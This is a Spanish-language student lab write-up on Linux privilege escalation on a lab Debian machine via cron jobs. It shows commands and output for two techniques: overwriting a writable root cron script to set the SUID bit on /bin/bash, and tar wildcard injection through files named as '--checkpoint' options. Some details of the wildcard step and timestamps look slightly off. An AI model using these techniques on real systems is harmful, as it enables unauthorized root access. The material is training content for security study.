



SPRING 15

EJERCICIO 1 – UNIDAD 1

CRONTAB

METODOS WILDCARDS Y FILE OVERWRITE

En este ejercicio se trabajará la escalada de privilegios de las siguientes formas, debiendo explicar con capturas y texto el procedimiento seguido para cada una de ellas:

- En ambos ejercicios nos conectamos a la Maquina Debian 6 con IP 10.0.2.28, la cual, ya ha sido comprometida anteriormente y ahora vamos a escalar privilegios a través de SSH en el sistema:

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: % ssh -o HostKeyAlgorithms=+ssh-rsa user@10.0.2.28
user@10.0.2.28' password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 30 11:53:06 2024 from 10.0.2.12
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
user@debian:~$
```

1. Elevación de privilegios mediante **Cron – File Overwrite:**

- Se procede a ver el servicio Crontab, presentando permisos de lectura para todos, por lo que no se puede crear una nueva tarea con el usuario actual, debiendo explotar alguno de los presentes.

```
# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
***** root overwrite.sh
***** root /usr/local/bin/compress.sh

user@debian:~$ ls -ltr /etc/crontab
-rw-r--r-- 1 root root 804 May 13 2017 /etc/crontab
```

- Se realiza la búsqueda de la ruta del archivo overwrite.sh, siendo la misma `/usr/local/bin/overwrite.sh`:

```
user@debian:~$ find / -name "overwrite.sh"
/usr/local/bin/overwrite.sh
user@debian:~$ ls -ltr /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 96 Oct 1 12:36 /usr/local/bin/overwrite.sh
```

- se modifica con nano el archivo overwrite.sh, añadiendo al archivo `/bin/Bash` el permiso Bit SUID (s), consiguiendo elevación de privilegios a root:

```
GNU nano 2.2.4 File: /usr/local/bin/overwrite.sh

#!/bin/bash

echo `date` > /tmp/useless

# Obtener una shell de root local
chmod u+s /bin/bash

user@debian:~$ /bin/bash -p
bash-4.1# whoami
root
bash-4.1# id
uid=0(root) gid=1000(user) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1#
```

2. Elevación de privilegios a través los **wildcards** del archivo **Cron**:

- En el Cron se pueden usar comodines (wildcards) para la ejecución periódica de tareas, pero si no son configurados adecuadamente puede permitir que personas sin autorización escalen privilegios a través de ellos, ejecutando código malicioso.
- Como anteriormente observamos solo había 2 archivos que se podían modificar en el Crontab, ya que este último tenía solo permisos de lectura y no permitía crear nuevas tareas, así que para este caso usaremos el archivo `"/usr/local/bin/compress.sh"`
- Este archivo por su contenido, se utiliza para hacer una copia comprimida (tar.gz) de los archivos del directorio `"/home/user"` almacenándose en `"/tmp/backup.tar.gz"`.
- El comando de compresión `tar` tiene una vulnerabilidad en los puntos de control o *checkpoints*, que puede ser explotada a través de los wildcards o comodines, si el administrador no tiene cuidado en cómo se manejan.

```
GNU nano 2.2.4      File: /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
```

- Para su explotación accedemos al directorio `/home/user`, donde creamos dos archivos, llamados `--checkpoint=1` y `--checkpoint-action=exec=sh` y le añadimos con `chmod` permisos de ejecución, que el archivo `"compress"` hace una copia comprimida de este directorio como hemos dicho anteriormente.

```
user@debian:~$ echo "chmod u+s /bin/bash" > "--checkpoint=1"
user@debian:~$ echo "chmod u+s /bin/bash" > "--checkpoint-action=exec=sh"
user@debian:~$ ls -ltr
total 16
drwxr-xr-x 8 user user 4096 May 15 2017 tools
-rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
-rw-r--r-- 1 user user 20 Oct 113:33 --checkpoint-action=exec=sh
-rw-r--r-- 1 user user 20 Oct 113:33 --checkpoint=1
user@debian:~$ #ejecuto con -- delante para chmod no lo interprete como opciones
user@debian:~$ chmod +x -- --checkpoint=1 --checkpoint-action=exec=sh
user@debian:~$ ls -ltr
total 16
drwxr-xr-x 8 user user 4096 May 15 2017 tools
-rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn
-rwxr-xr-x 1 user user 20 Oct 113:33 --checkpoint-action=exec=sh
-rwxr-xr-x 1 user user 20 Oct 113:33 --checkpoint=1
user@debian:~$
```

- Ahora cuando se ejecute el archivo “compress” como tarea programada (cada minuto) en Crontab, haciendo que el comando *tar*, al ver el archivo “- -checkpoint=1” haga una pausa tras realizar la primera tarea, momento que entra en ejecución el segundo archivo “- -checkpoint-action=exec=sh”, el cual esta configurado para ejecutarse cuando se encuentre un checkpoint dentro de *tar* , ejecutando un shell.

```
-rwxr-xr-x 1 user user 20 Oct 113:33 --checkpoint-action=exec=sh
-rwxr-xr-x 1 user user 20 Oct 113:33 --checkpoint=1
user@debian:~$ /bin/bash -p
bash-4.1# whoami
root
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(d
ip),44(video),46(plugdev),1000(user)
bash-4.1#
```